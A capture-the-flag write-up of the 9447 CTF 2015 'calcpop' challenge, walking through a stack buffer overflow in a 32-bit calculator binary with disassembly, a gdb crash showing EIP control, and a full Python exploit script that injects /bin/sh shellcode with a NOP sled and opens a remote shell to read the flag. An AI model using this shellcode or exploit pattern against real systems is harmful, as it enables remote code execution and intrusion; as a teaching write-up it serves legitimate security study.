9447 2015 - Calcpop - Exploitables (80pts) writeup

The challenge description was: See if you can pop this calc. Running at calcpop-4gh07blg.9447.plumbing port 9447

A binary file with the name calcpop was provided:

mrt:~/ctf/9447-15/exploit/calcpop$ file calcpop
calcpop: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=3b0773c4d23785ef3daae0b3a3505d8fa41403af, not stripped

mrt:~/ctf/9447-15/exploit/calcpop$ strings calcpop
/lib/ld-linux.so.2
libc.so.6
...
Welcome to calc.exe
help
Type 'exit' to exit.
exit
Exiting...
%d + %d = %d
Type two numbers and I will calculate their sum
Missing a space; your input was %p
Mes5 wi+h the b3st, d1e l1k3 the rest
...

We can spot a quote from the movie Hackers in the binary strings, could be a hint telling us what to follow. Let's try the binary and see what happens:

mrt:~/ctf/9447-15/exploit/calcpop$ ./calcpop
Welcome to calc.exe
help
Type 'exit' to exit.
Type two numbers and I will calculate their sum
1 2
1 + 2 = 3
0
Missing a space; your input was 0xffb92910
exit
Exiting...

Using invalid input gives us a huge help from the binary, a pointer to our buffer. The Hackers quote cannot be found anywhere though, let's run objdump:

mrt:~/ctf/9447-15/exploit/calcpop$ objdump -M intel -d ./calcpop > dump

mrt:~/ctf/9447-15/exploit/calcpop$ less dump
...
804856a: 89 c7 mov edi,eax
804856c: e8 df fe ff ff call 8048450 <strtol@plt>
8048571: 89 7c 24 04 mov DWORD PTR [esp+0x4],edi
8048575: c7 04 24 4e 88 04 08 mov DWORD PTR [esp],0x804884e
804857c: 8d 34 07 lea esi,[edi+eax*1]
804857f: 89 74 24 0c mov DWORD PTR [esp+0xc],esi
8048583: 89 44 24 08 mov DWORD PTR [esp+0x8],eax
8048587: e8 54 fe ff ff call 80483e0 <printf@plt>
804858c: 81 fe 37 13 03 00 cmp esi,0x31337 ; 0x31337 = 201527
8048592: 74 79 je 804860d <main+0x1ad>
...
804860d: c7 04 24 b0 88 04 08 mov DWORD PTR [esp],0x80488b0 ; Hackers quote
8048614: e8 e7 fd ff ff call 8048400 <puts@plt>
8048619: eb 98 jmp 80485b3 <main+0x153> ; breaks loop and exit
...
80485b3: 8d 65 f4 lea esp,[ebp-0xc]
80485b6: 31 c0 xor eax,eax
80485b8: 5b pop ebx
80485b9: 5e pop esi
80485ba: 5f pop edi
80485bb: 5d pop ebp
80485bc: c3 ret
...

So this is how we get the Hackers quote, we have to make the sum equal to 0x31337 (201527) and it will break out of the loop and stop the program from making more input requests. Let's quickly verify this:

mrt:~/ctf/9447-15/exploit/calcpop$ ./calcpop
Welcome to calc.exe
201526 1
201526 + 1 = 201527
Mes5 wi+h the b3st, d1e l1k3 the rest

mrt:~/ctf/9447-15/exploit/calcpop$

We found a way to trigger the quote and break out of the loop, in the dump we can also see that esi is often set to 0x100 (256) then slowly decremented until equal to 1.

...
80484c5: 88 07 mov BYTE PTR [edi],al ; store character into buffer
80484c7: 83 ee 01 sub esi,0x1 ; esi - 1 (original value was set to 0x100)
80484ca: 83 c7 01 add edi,0x1 ; next character index
80484cd: 83 f8 0a cmp eax,0xa ; is current character newline ?
80484d0: 0f 84 ca 00 00 00 je 80485a0 <main+0x140>
80484d6: 83 fe 01 cmp esi,0x1 ; is esi == 1 ?
80484d9: 77 d5 ja 80484b0 <main+0x50>
80484db: 85 f6 test esi,esi ; is esi == 0 ?
80484dd: 0f 85 bd 00 00 00 jne 80485a0 <main+0x140>
...

How much space was allocated for our buffer though?

...
0x0804846e <+14>: sub esp,0x90
...
0x08048481 <+33>: lea ebx,[esp+0x10] ; address of our buffer into ebx = 0x90 - 0x10 = 128bytes
...
0x0804848d <+45>: mov edi,ebx ; move buffer address into edi
...

It seems that edi shouldn't exceed 0x80 (128) bytes passed our buffer address, but it in fact goes twice that length allowing us to overwrite values and pointers onto the stack.

mrt:~/ctf/9447-15/exploit/calcpop$ python -c 'print "1"*0x100' | ./calcpop
Welcome to calc.exe
Missing a space; your input was 0xfff5b660
Missing a space; your input was 0xfff5b660
Segmentation fault
mrt:~/ctf/9447-15/exploit/calcpop$ python -c 'print "1"*256' > args

mrt:~/ctf/9447-15/exploit/calcpop$ gdb ./calcpop
Reading symbols from ./calcpop...done.
gdb$ r < args
Starting program: /home/mrt/ctf/9447-15/exploit/calcpop/calcpop < args
Welcome to calc.exe
Missing a space; your input was 0xffffd620
Missing a space; your input was 0xffffd620

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0x31313131 ECX: 0xF7FC68A4 EDX: 0xFFFFFFFF o d I t s Z a P c
ESI: 0x31313131 EDI: 0x31313131 EBP: 0x31313131 ESP: 0xFFFFD6C0 EIP: 0x31313131
CS: 0023 DS: 002B ES: 002B FS: 0000 GS: 0063 SS: 002BError while running hook_stop:
Cannot access memory at address 0x31313131
0x31313131 in ?? ()
gdb$

We can control eip and this is where the quote from the movie Hackers makes sense, if we overflow during runtime nothing happens until we exit the program. Exiting the program won't let us exploit it properly, but using the magic value and breaking from the main loop will allow us to keep stdin for example if our exploit is a /bin/sh payload.

What we need to do is:

  • make an invalid input to get the address of our buffer
  • give an input consisting of 3 values
    • two numbers with a sum equal to 0x31337 (201527) to break from the loop
    • a third value will be our /bin/sh payload followed by a series of 0x90 (nop) up until we can rewrite eip
    • the value overwriting eip must be our buffer address + the number of bytes we wrote to make the sum of 0x31337

This is the python script I ended up making:

#!/usr/bin/env python

import sys, socket, struct

HOST = sys.argv[1]
PORT = int(sys.argv[2])
ADDR = 0
MSG = "Missing a space; your input was "
SHEL = "1 201526 \x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80"
SHEL+= "\x90" * 0x77
INP = ""

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
data = s.recv(256)[:-1]
try:
for line in data.split("\n"):
print line
if ("Welcome to " in line):
s.send("A\n")
elif (ADDR == 0) and (MSG in line):
ADDR = int(line.split(" ").pop(), 16)
print "[+] ADDRESS: {:02X}".format(ADDR)
TMP = struct.pack('<I', ADDR + 9)
SHEL += TMP*2
print "[+] SHELLCODE: \\x{}".format("\\x".join("{:02x}".format(ord(c)) for c in SHEL))
s.send(SHEL + TMP + TMP + "\n")
data = s.recv(256)[:-1]
while 1:
data = s.recv(256)[:-1]
print data + "\n"
INP = raw_input("$ ")
s.send(INP + "\n")
if INP == "exit":
s.close()
exit(0)
except Exception as e:
print "[!] {}".format(e)
exit(0)
s.close()
mrt:~/ctf/9447-15/exploit/calcpop$ ./exploit.py calcpop-4gh07blg.9447.plumbing 9447
Welcome to calc.ex

Missing a space; your input was 0xff81e440
[+] ADDRESS: FF81E440
[+] SHELLCODE: \x31\x20\x32\x30\x31\x35\x32\x36\x20\x31\xc0\x89\xc2\x50\x68\x6e\x2f\x73
\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xc1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x49\xe4\x81\xff\x49\xe4\x81\xff
Mes5 wi+h the b3st, d1e l1k3 the rest

$ ls
calcpop
flag.txt

$ cat flag.txt
9447{shELl_i5_easIEr_thaN_ca1c}

$ exit


mrt:~/ctf/9447-15/exploit/calcpop$

We got our flag:

9447{shELl_i5_easIEr_thaN_ca1c}